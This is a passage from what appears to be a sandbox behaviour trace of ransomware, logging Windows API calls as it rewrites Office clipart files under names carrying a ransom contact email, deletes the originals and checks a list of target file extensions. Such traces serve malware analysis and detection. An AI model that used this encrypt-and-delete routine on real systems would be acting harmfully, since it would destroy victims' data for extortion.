dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.594] SetEndOfFile (hFile=0x398) returned 1 [0077.596] CloseHandle (hObject=0x398) returned 1 [0077.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0077.597] lstrlenW (lpString=".doc") returned 4 [0077.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".docx") returned 5 [0077.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.597] lstrlenW (lpString=".pdf") returned 4 [0077.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".xls") returned 4 [0077.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.597] lstrlenW (lpString=".xlsx") returned 5 [0077.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.597] lstrlenW (lpString=".ppt") returned 4 [0077.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0077.597] lstrlenW (lpString=".zip") returned 4 [0077.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.597] lstrlenW (lpString=".rar") returned 4 [0077.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".bz2") returned 4 [0077.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".7z") returned 3 [0077.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0077.598] lstrlenW (lpString=".dbf") returned 4 [0077.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0077.598] lstrlenW (lpString=".1cd") returned 4 [0077.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0077.598] lstrlenW (lpString=".jpg") returned 4 [0077.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.598] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.599] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.599] GetLastError () returned 0x0 [0077.600] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0077.601] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xc10, lpOverlapped=0x0) returned 1 [0077.602] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.602] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.603] SetEndOfFile (hFile=0x37c) returned 1 [0077.603] CloseHandle (hObject=0x37c) returned 1 [0077.603] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.603] SetEndOfFile (hFile=0x398) returned 1 [0077.604] CloseHandle (hObject=0x398) returned 1 [0077.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0077.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0077.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0077.605] lstrlenW (lpString=".doc") returned 4 [0077.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.605] lstrlenW (lpString=".docx") returned 5 [0077.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.605] lstrlenW (lpString=".pdf") returned 4 [0077.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.605] lstrlenW (lpString=".xls") returned 4 [0077.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.605] lstrlenW (lpString=".xlsx") returned 5 [0077.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.606] lstrlenW (lpString=".ppt") returned 4 [0077.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0077.606] lstrlenW (lpString=".zip") returned 4 [0077.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.606] lstrlenW (lpString=".rar") returned 4 [0077.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.606] lstrlenW (lpString=".bz2") returned 4 [0077.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.606] lstrlenW (lpString=".7z") returned 3 [0077.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0077.606] lstrlenW (lpString=".dbf") returned 4 [0077.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0077.606] lstrlenW (lpString=".1cd") returned 4 [0077.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0077.606] lstrlenW (lpString=".jpg") returned 4 [0077.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.607] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.607] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.608] GetLastError () returned 0x0 [0077.608] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0077.610] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0077.612] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.612] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.612] SetEndOfFile (hFile=0x37c) returned 1 [0077.612] CloseHandle (hObject=0x37c) returned 1 [0077.612] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.613] SetEndOfFile (hFile=0x398) returned 1 [0077.614] CloseHandle (hObject=0x398) returned 1 [0077.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0077.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0077.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0077.615] lstrlenW (lpString=".doc") returned 4 [0077.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.615] lstrlenW (lpString=".docx") returned 5 [0077.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.615] lstrlenW (lpString=".pdf") returned 4 [0077.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.615] lstrlenW (lpString=".xls") returned 4 [0077.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.615] lstrlenW (lpString=".xlsx") returned 5 [0077.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.615] lstrlenW (lpString=".ppt") returned 4 [0077.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0077.615] lstrlenW (lpString=".zip") returned 4 [0077.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.615] lstrlenW (lpString=".rar") returned 4 [0077.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.616] lstrlenW (lpString=".bz2") returned 4 [0077.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.616] lstrlenW (lpString=".7z") returned 3 [0077.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0077.616] lstrlenW (lpString=".dbf") returned 4 [0077.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0077.616] lstrlenW (lpString=".1cd") returned 4 [0077.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0077.616] lstrlenW (lpString=".jpg") returned 4 [0077.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.617] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.617] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.618] GetLastError () returned 0x0 [0077.618] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x5664, lpOverlapped=0x0) returned 1 [0077.621] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x5670, lpOverlapped=0x0) returned 1 [0077.623] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.623] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.623] SetEndOfFile (hFile=0x37c) returned 1 [0077.623] CloseHandle (hObject=0x37c) returned 1 [0077.623] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.623] SetEndOfFile (hFile=0x398) returned 1 [0077.624] CloseHandle (hObject=0x398) returned 1 [0077.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0077.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0077.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0077.626] lstrlenW (lpString=".doc") returned 4 [0077.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.626] lstrlenW (lpString=".docx") returned 5 [0077.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.626] lstrlenW (lpString=".pdf") returned 4 [0077.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.626] lstrlenW (lpString=".xls") returned 4 [0077.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.626] lstrlenW (lpString=".xlsx") returned 5 [0077.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.626] lstrlenW (lpString=".ppt") returned 4 [0077.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0077.626] lstrlenW (lpString=".zip") returned 4 [0077.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.626] lstrlenW (lpString=".rar") returned 4 [0077.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.626] lstrlenW (lpString=".bz2") returned 4 [0077.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.626] lstrlenW (lpString=".7z") returned 3 [0077.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0077.626] lstrlenW (lpString=".dbf") returned 4 [0077.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0077.626] lstrlenW (lpString=".1cd") returned 4 [0077.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0077.627] lstrlenW (lpString=".jpg") returned 4 [0077.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.627] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.628] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.628] GetLastError () returned 0x0 [0077.628] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0077.776] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0077.779] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.779] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.779] SetEndOfFile (hFile=0x37c) returned 1 [0077.781] CloseHandle (hObject=0x37c) returned 1 [0077.782] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.782] SetEndOfFile (hFile=0x398) returned 1 [0077.783] CloseHandle (hObject=0x398) returned 1 [0077.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0077.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0077.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0077.785] lstrlenW (lpString=".doc") returned 4 [0077.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.785] lstrlenW (lpString=".docx") returned 5 [0077.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.785] lstrlenW (lpString=".pdf") returned 4 [0077.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.785] lstrlenW (lpString=".xls") returned 4 [0077.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.785] lstrlenW (lpString=".xlsx") returned 5 [0077.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.785] lstrlenW (lpString=".ppt") returned 4 [0077.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0077.785] lstrlenW (lpString=".zip") returned 4 [0077.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.785] lstrlenW (lpString=".rar") returned 4 [0077.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.785] lstrlenW (lpString=".bz2") returned 4 [0077.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.785] lstrlenW (lpString=".7z") returned 3 [0077.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0077.785] lstrlenW (lpString=".dbf") returned 4 [0077.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0077.785] lstrlenW (lpString=".1cd") returned 4 [0077.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0077.786] lstrlenW (lpString=".jpg") returned 4 [0077.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.795] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.795] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.824] GetLastError () returned 0x0 [0077.824] ReadFile (in: hFile=0x394, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x318, lpOverlapped=0x0) returned 1 [0077.873] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x320, lpOverlapped=0x0) returned 1 [0077.874] ReadFile (in: hFile=0x394, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.874] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.874] SetEndOfFile (hFile=0x37c) returned 1 [0077.874] CloseHandle (hObject=0x37c) returned 1 [0077.875] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.875] SetEndOfFile (hFile=0x394) returned 1 [0077.876] CloseHandle (hObject=0x394) returned 1 [0077.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0077.877] lstrlenW (lpString=".doc") returned 4 [0077.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.877] lstrlenW (lpString=".docx") returned 5 [0077.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.877] lstrlenW (lpString=".pdf") returned 4 [0077.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.877] lstrlenW (lpString=".xls") returned 4 [0077.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.877] lstrlenW (lpString=".xlsx") returned 5 [0077.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.877] lstrlenW (lpString=".ppt") returned 4 [0077.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0077.878] lstrlenW (lpString=".zip") returned 4 [0077.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.878] lstrlenW (lpString=".rar") returned 4 [0077.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.878] lstrlenW (lpString=".bz2") returned 4 [0077.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.878] lstrlenW (lpString=".7z") returned 3 [0077.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0077.878] lstrlenW (lpString=".dbf") returned 4 [0077.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 